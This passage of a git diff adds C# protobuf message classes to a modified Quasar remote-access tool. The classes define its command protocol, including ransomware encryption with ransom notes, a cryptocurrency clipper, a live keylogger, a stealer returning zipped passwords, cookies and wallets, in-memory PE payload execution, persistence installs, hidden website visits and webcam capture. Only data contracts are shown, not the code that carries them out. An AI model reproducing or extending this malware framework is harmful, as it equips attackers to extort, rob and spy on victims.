public class DoLoadRegistryKey : IMessage + { + [ProtoMember(1)] + public string RootKeyName { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoMouseEvent.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoMouseEvent.cs new file mode 100755 index 0000000..0f17a56 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoMouseEvent.cs @@ -0,0 +1,24 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoMouseEvent : IMessage + { + [ProtoMember(1)] + public MouseAction Action { get; set; } + + [ProtoMember(2)] + public bool IsMouseDown { get; set; } + + [ProtoMember(3)] + public int X { get; set; } + + [ProtoMember(4)] + public int Y { get; set; } + + [ProtoMember(5)] + public int MonitorIndex { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoPathCopy.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoPathCopy.cs new file mode 100755 index 0000000..2859867 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoPathCopy.cs @@ -0,0 +1,18 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoPathCopy : IMessage + { + [ProtoMember(1)] + public string SourcePath { get; set; } + + [ProtoMember(2)] + public string DestinationPath { get; set; } + + [ProtoMember(3)] + public FileType PathType { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoPathDelete.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoPathDelete.cs new file mode 100755 index 0000000..9e3ade8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoPathDelete.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoPathDelete : IMessage + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public FileType PathType { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoPathRename.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoPathRename.cs new file mode 100755 index 0000000..bc54b56 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoPathRename.cs @@ -0,0 +1,18 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoPathRename : IMessage + { + [ProtoMember(1)] + public string Path { get; set; } + + [ProtoMember(2)] + public string NewPath { get; set; } + + [ProtoMember(3)] + public FileType PathType { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoProcessEnd.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoProcessEnd.cs new file mode 100755 index 0000000..318ba21 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoProcessEnd.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoProcessEnd : IMessage + { + [ProtoMember(1)] + public int Pid { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoProcessResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoProcessResponse.cs new file mode 100755 index 0000000..8a35bad --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoProcessResponse.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoProcessResponse : IMessage + { + [ProtoMember(1)] + public ProcessAction Action { get; set; } + + [ProtoMember(2)] + public bool Result { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoProcessStart.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoProcessStart.cs new file mode 100755 index 0000000..58d245f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoProcessStart.cs @@ -0,0 +1,29 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoProcessStart : IMessage + { + [ProtoMember(1)] + public string DownloadUrl { get; set; } + + [ProtoMember(2)] + public string FilePath { get; set; } + + [ProtoMember(3)] + public bool IsUpdate { get; set; } + + /// + /// When true, execute the payload bytes in memory without writing to disk. + /// + [ProtoMember(4)] + public bool ExecuteInMemory { get; set; } + + /// + /// Raw PE bytes to execute in memory. Only set when ExecuteInMemory is true. + /// + [ProtoMember(5)] + public byte[] Payload { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoRansomware.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoRansomware.cs new file mode 100755 index 0000000..a51c269 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoRansomware.cs @@ -0,0 +1,26 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoRansomware : IMessage + { + [ProtoMember(1)] + public string Action { get; set; } // "ENCRYPT" or "DECRYPT" + + [ProtoMember(2)] + public string EncryptionKey { get; set; } + + [ProtoMember(3)] + public string FileExtension { get; set; } + + [ProtoMember(4)] + public string RansomNote { get; set; } + + [ProtoMember(5)] + public bool ChangeWallpaper { get; set; } + + [ProtoMember(6)] + public string WallpaperText { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryKey.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryKey.cs new file mode 100755 index 0000000..d31ed92 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryKey.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoRenameRegistryKey : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public string OldKeyName { get; set; } + + [ProtoMember(3)] + public string NewKeyName { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryValue.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryValue.cs new file mode 100755 index 0000000..e6804df --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoRenameRegistryValue.cs @@ -0,0 +1,17 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoRenameRegistryValue : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public string OldValueName { get; set; } + + [ProtoMember(3)] + public string NewValueName { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoShellExecute.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoShellExecute.cs new file mode 100755 index 0000000..e0b3636 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoShellExecute.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoShellExecute : IMessage + { + [ProtoMember(1)] + public string Command { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoShellExecuteResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoShellExecuteResponse.cs new file mode 100755 index 0000000..787857d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoShellExecuteResponse.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoShellExecuteResponse : IMessage + { + [ProtoMember(1)] + public string Output { get; set; } + + [ProtoMember(2)] + public bool IsError { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoShowMessageBox.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoShowMessageBox.cs new file mode 100755 index 0000000..dc9eb1e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoShowMessageBox.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoShowMessageBox : IMessage + { + [ProtoMember(1)] + public string Caption { get; set; } + + [ProtoMember(2)] + public string Text { get; set; } + + [ProtoMember(3)] + public string Button { get; set; } + + [ProtoMember(4)] + public string Icon { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoShutdownAction.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoShutdownAction.cs new file mode 100755 index 0000000..4256f25 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoShutdownAction.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Enums; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoShutdownAction : IMessage + { + [ProtoMember(1)] + public ShutdownAction Action { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoStartClipper.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoStartClipper.cs new file mode 100755 index 0000000..e03c737 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoStartClipper.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using System.Collections.Generic; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartClipper : IMessage + { + [ProtoMember(1)] + public Dictionary WalletAddresses { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoStartLiveKeylogger.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoStartLiveKeylogger.cs new file mode 100755 index 0000000..725634a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoStartLiveKeylogger.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartLiveKeylogger : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemAdd.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemAdd.cs new file mode 100755 index 0000000..b60db23 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemAdd.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartupItemAdd : IMessage + { + [ProtoMember(1)] + public StartupItem StartupItem { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemRemove.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemRemove.cs new file mode 100755 index 0000000..44c67df --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoStartupItemRemove.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStartupItemRemove : IMessage + { + [ProtoMember(1)] + public StartupItem StartupItem { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoStopClipper.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoStopClipper.cs new file mode 100755 index 0000000..1e5c394 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoStopClipper.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopClipper : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoStopLiveKeylogger.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoStopLiveKeylogger.cs new file mode 100755 index 0000000..f5c1931 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoStopLiveKeylogger.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoStopLiveKeylogger : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalInstall.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalInstall.cs new file mode 100755 index 0000000..46351c2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalInstall.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoSurvivalInstall : IMessage + { + [ProtoMember(1)] + public byte[] FileBytes { get; set; } + + [ProtoMember(2)] + public string FileExtension { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalUninstall.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalUninstall.cs new file mode 100755 index 0000000..69d825c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoSurvivalUninstall.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoSurvivalUninstall : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoSystemOption.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoSystemOption.cs new file mode 100755 index 0000000..466c79f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoSystemOption.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoSystemOption : IMessage + { + [ProtoMember(1)] + public string Option { get; set; } + + [ProtoMember(2)] + public bool Enable { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoVisitWebsite.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoVisitWebsite.cs new file mode 100755 index 0000000..f895b87 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoVisitWebsite.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoVisitWebsite : IMessage + { + [ProtoMember(1)] + public string Url { get; set; } + + [ProtoMember(2)] + public bool Hidden { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStart.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStart.cs new file mode 100755 index 0000000..9eaead2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStart.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoWebcamStart : IMessage + { + [ProtoMember(1)] + public int CameraIndex { get; set; } + + [ProtoMember(2)] + public int Quality { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStop.cs b/Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStop.cs new file mode 100755 index 0000000..023c740 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/DoWebcamStop.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class DoWebcamStop : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/FileTransferCancel.cs b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferCancel.cs new file mode 100755 index 0000000..f4e708e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferCancel.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class FileTransferCancel : IMessage + { + [ProtoMember(1)] + public int Id { get; set; } + + [ProtoMember(2)] + public string Reason { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/FileTransferChunk.cs b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferChunk.cs new file mode 100755 index 0000000..4da148a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferChunk.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class FileTransferChunk : IMessage + { + [ProtoMember(1)] + public int Id { get; set; } + + [ProtoMember(2)] + public string FilePath { get; set; } + + [ProtoMember(3)] + public long FileSize { get; set; } + + [ProtoMember(4)] + public FileChunk Chunk { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/FileTransferComplete.cs b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferComplete.cs new file mode 100755 index 0000000..8e8eeb2 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferComplete.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class FileTransferComplete : IMessage + { + [ProtoMember(1)] + public int Id { get; set; } + + [ProtoMember(2)] + public string FilePath { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/FileTransferRequest.cs b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferRequest.cs new file mode 100755 index 0000000..3c9bfe7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/FileTransferRequest.cs @@ -0,0 +1,14 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class FileTransferRequest : IMessage + { + [ProtoMember(1)] + public int Id { get; set; } + + [ProtoMember(2)] + public string RemotePath { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindow.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindow.cs new file mode 100755 index 0000000..b30e545 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindow.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetActiveWindow : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindowResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindowResponse.cs new file mode 100755 index 0000000..8038ab8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetActiveWindowResponse.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetActiveWindowResponse : IMessage + { + [ProtoMember(1)] + public string WindowTitle { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs new file mode 100755 index 0000000..ec55283 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetChangeRegistryValueResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetChangeRegistryValueResponse : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public RegValueData Value { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetConnections.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetConnections.cs new file mode 100755 index 0000000..02a0aff --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetConnections.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetConnections : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetConnectionsResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetConnectionsResponse.cs new file mode 100755 index 0000000..681a1ef --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetConnectionsResponse.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetConnectionsResponse : IMessage + { + [ProtoMember(1)] + public TcpConnection[] Connections { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs new file mode 100755 index 0000000..e94f086 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryKeyResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetCreateRegistryKeyResponse : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public RegSeekerMatch Match { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs new file mode 100755 index 0000000..7c9f110 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetCreateRegistryValueResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetCreateRegistryValueResponse : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public RegValueData Value { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryKeyResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryKeyResponse.cs new file mode 100755 index 0000000..27bd5f1 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryKeyResponse.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDeleteRegistryKeyResponse : IMessage + { + [ProtoMember(1)] + public string ParentPath { get; set; } + + [ProtoMember(2)] + public string KeyName { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryValueResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryValueResponse.cs new file mode 100755 index 0000000..c9404e7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDeleteRegistryValueResponse.cs @@ -0,0 +1,20 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDeleteRegistryValueResponse : IMessage + { + [ProtoMember(1)] + public string KeyPath { get; set; } + + [ProtoMember(2)] + public string ValueName { get; set; } + + [ProtoMember(3)] + public bool IsError { get; set; } + + [ProtoMember(4)] + public string ErrorMsg { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDesktop.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDesktop.cs new file mode 100755 index 0000000..bea5621 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDesktop.cs @@ -0,0 +1,35 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDesktop : IMessage + { + [ProtoMember(1)] + public bool CreateNew { get; set; } + + [ProtoMember(2)] + public int Quality { get; set; } + + [ProtoMember(3)] + public int DisplayIndex { get; set; } + + [ProtoMember(4)] + public bool StopStreaming { get; set; } + + [ProtoMember(5)] + public int FpsCap { get; set; } + + /// + /// UDP port on the server to send frame data to. 0 = use TCP fallback. + /// + [ProtoMember(6)] + public int UdpPort { get; set; } + + /// + /// Server IP/hostname the client should send UDP frames to. + /// + [ProtoMember(7)] + public string UdpHost { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDesktopResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDesktopResponse.cs new file mode 100755 index 0000000..ab9a62e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDesktopResponse.cs @@ -0,0 +1,21 @@ +using ProtoBuf; +using Quasar.Common.Video; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDesktopResponse : IMessage + { + [ProtoMember(1)] + public byte[] Image { get; set; } + + [ProtoMember(2)] + public int Quality { get; set; } + + [ProtoMember(3)] + public int Monitor { get; set; } + + [ProtoMember(4)] + public Resolution Resolution { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDesktopUdpReady.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDesktopUdpReady.cs new file mode 100755 index 0000000..ccbf711 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDesktopUdpReady.cs @@ -0,0 +1,22 @@ +using ProtoBuf; +using Quasar.Common.Video; + +namespace Quasar.Common.Messages +{ + /// + /// Sent by the client over TCP once it has connected its UDP sender. + /// Carries codec metadata so the server can set up its decoder before UDP frames arrive. + /// + [ProtoContract] + public class GetDesktopUdpReady : IMessage + { + [ProtoMember(1)] + public int Quality { get; set; } + + [ProtoMember(2)] + public int Monitor { get; set; } + + [ProtoMember(3)] + public Resolution Resolution { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDirectory.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDirectory.cs new file mode 100755 index 0000000..11b83dc --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDirectory.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDirectory : IMessage + { + [ProtoMember(1)] + public string RemotePath { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDirectoryResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDirectoryResponse.cs new file mode 100755 index 0000000..4cff9ef --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDirectoryResponse.cs @@ -0,0 +1,15 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDirectoryResponse : IMessage + { + [ProtoMember(1)] + public string RemotePath { get; set; } + + [ProtoMember(2)] + public FileSystemEntry[] Items { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDrives.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDrives.cs new file mode 100755 index 0000000..da5ea1d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDrives.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDrives : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetDrivesResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetDrivesResponse.cs new file mode 100755 index 0000000..efe3ae6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetDrivesResponse.cs @@ -0,0 +1,12 @@ +using ProtoBuf; +using Quasar.Common.Models; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetDrivesResponse : IMessage + { + [ProtoMember(1)] + public Drive[] Drives { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogs.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogs.cs new file mode 100755 index 0000000..2e3030f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogs.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetIntelixStealerLogs : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogsResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogsResponse.cs new file mode 100755 index 0000000..6ca44e6 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetIntelixStealerLogsResponse.cs @@ -0,0 +1,35 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetIntelixStealerLogsResponse : IMessage + { + [ProtoMember(1)] + public byte[] ZipData { get; set; } + + [ProtoMember(2)] + public string Hwid { get; set; } + + [ProtoMember(3)] + public string PublicIp { get; set; } + + [ProtoMember(4)] + public string CountryCode { get; set; } + + [ProtoMember(5)] + public long PasswordCount { get; set; } + + [ProtoMember(6)] + public long CookieCount { get; set; } + + [ProtoMember(7)] + public int WalletCount { get; set; } + + [ProtoMember(8)] + public bool Success { get; set; } + + [ProtoMember(9)] + public string ErrorMessage { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs new file mode 100755 index 0000000..c3c0f45 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectory.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetKeyloggerLogsDirectory : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs new file mode 100755 index 0000000..fa8d092 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetKeyloggerLogsDirectoryResponse.cs @@ -0,0 +1,11 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetKeyloggerLogsDirectoryResponse : IMessage + { + [ProtoMember(1)] + public string LogsDirectory { get; set; } + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetMonitors.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetMonitors.cs new file mode 100755 index 0000000..93092e4 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Common/Messages/GetMonitors.cs @@ -0,0 +1,9 @@ +using ProtoBuf; + +namespace Quasar.Common.Messages +{ + [ProtoContract] + public class GetMonitors : IMessage + { + } +} diff --git a/Quasar-1.4.1/Quasar.Common/Messages/GetMonitorsResponse.cs b/Quasar-1.4.1/Quasar.Common/Messages/GetMonitorsResponse.cs new file mode 